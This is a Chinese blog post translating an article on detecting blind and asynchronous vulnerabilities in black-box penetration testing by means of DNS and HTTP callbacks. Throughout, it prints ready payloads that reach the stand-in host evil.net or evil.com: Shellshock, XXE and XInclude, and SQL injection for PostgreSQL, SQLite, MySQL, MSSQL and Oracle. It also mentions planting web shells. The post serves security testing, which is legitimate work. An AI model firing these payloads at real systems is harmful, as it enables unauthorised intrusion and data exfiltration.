黑盒测试中那些"看不见的"漏洞

小饼仔 | 2015-09-16 17:01

原文:Hunting Asynchronous Vulnerabilities

简单翻译下大致意思

在黑盒测试中,一般我们通过请求的响应来判断一个漏洞是否存在,比如

- 是否触发错误消息

- 响应内容是否不同

- 是否有时间延迟

但有一些漏洞触发后并不会造成响应不同,或者不会立刻执行,比如二次SQL注入、命令注入但只会在夜间crontab执行等,导致我们无法通过一般的手段来判断是否存在漏洞。

这类“看不见的”漏洞大致可以分为三类:

- 发生在后台线程的Server端漏洞。比如在队列中的SQL注入查询,你不知道这个注入查询什么时候会被执行,也许payload会触发时间延迟,但是这个延迟仅影响后台线程,无法在前台被检测到。

- Blind漏洞,需要二次事件来触发。比如Blind XSS、二次SQL注入

- 不会造成响应不同的漏洞,并且这类漏洞不支持任何方法来触发时间延迟。如Blind XEE 和 XPath注入

为了能够检测到此类漏洞,我们需要一个能够促发callback的payload,callback能够从有漏洞的应用向攻击者控制的机器上发起连接,比如Shellshock的例子

() { :;}; echo 1 > /dev/udp/evil.com/53

如果服务器存在Shellshock漏洞,evil.com的53端口就会受到一个UDP包。

通过触发callback的方法,我们不需要依赖应用的输出就可以来判断漏洞是否存在。

因为DNS查询几乎不会被防火墙拦截,因此非常适合作为触发callback。

Drops之前有人发过一篇DNS: More than just names介绍了如何利用DNS来攻击,有兴趣可以看一看

下面介绍一些不同漏洞类型下的DNS callback

XML漏洞

下面代码利用6种不同的XML漏洞来尝试触发callback(包含evil.net的url)

<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?>
<!DOCTYPE root PUBLIC "-//A/B/EN" http://dtd.evil.net/a.dtd [
  <!ENTITY % remote SYSTEM "http://xxe2.evil.net/a">
  <!ENTITY xxe SYSTEM "http://xxe1.evil.net/a">
  %remote;
]>
<root>
  <foo>&xxe;</foo>
  <x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include
    href="http://xi.evil.net/" ></x>
  <y xmlns=http://a.b/
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://a.b/
    http://schemalocation.evil.net/a.xsd">a</y>
</root>

最后两个payload,利用了XInclude 和 schemaLocation,因为不需要完全控制XML文档,因此特别有效

SQL注入

Postgresql

利用copy 命令,可以调用任意的shell命令(需要一定权限)

copy (select '') to program 'nslookup evil.net'

如果用ping命令在linux下会阻塞执行的线程,因此这里用nslookup

MySQL 和 SQLite3

Windows下,大多数文件系统函数都支持UNC path,UNC path能够引用远程server的资源,因此能触发DNS查询。也就是说Windows下几乎所有的I/O函数都能够触发callback

SQLite3

;attach database '//evil.net/z' as 'z'-- - 
(SELECT load_extension('//foo'))

第一种需要支持batched query,第二种需要启用load_extension 函数

MySQL

LOAD_FILE('\\\\evil.net\\foo')
SELECT … INTO OUTFILE '\\\\evil.net\foo'

MSSQL

SELECT * FROM openrowset('SQLNCLI', 'evil.net';'a', 'select 1 from dual')

(需要 'ad hoc distributed queries')

EXEC master.dbo.xp_fileexist '\\\\evil.net\\foo'

(需要 sysadmin 权限)

BULK INSERT mytable FROM '\\\\evil.net$file'

(需要 bulk insert privileges)

EXEC master.dbo.xp_dirtree '\\\\evil.net\\foo'

(最理想的 – 需要 sysadmin 权限 ,DNS 查询后会检查权限)

Oracle SQL

Oracle提供很多方法来触发callback,如UTL_HTTP, UTL_TCP, UTL_SMTP, UTL_INADDR, UTL_FILE…,但是都需要各种权限。

但是可以利用内置的XML解析函数,低权限用户也可以调用。最近Oracle也被发现存在XXE注入漏洞,因此我们可以利用XXE来触发callback

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %  remote SYSTEM "http://evil.net/"> %remote;]>'),'/l')

Write-based callbacks

因为非WINDOWS系统不支持UNC paths,我们可以利用写文件函数来触发callback

最直接的方式就是写一个web shell,前提是需要知道webroot路径

修改mailspools / maildrops,控制邮件发送,这个需要root权限,没什么用

利用mysql函数来修改配置文件,将修改 bind-address成我们的hostname,然后在dns响应返回0.0.0.0,让mysql绑定所以可用接口

shell命令注入和 XSS部分大家参考下原文

[原文地址]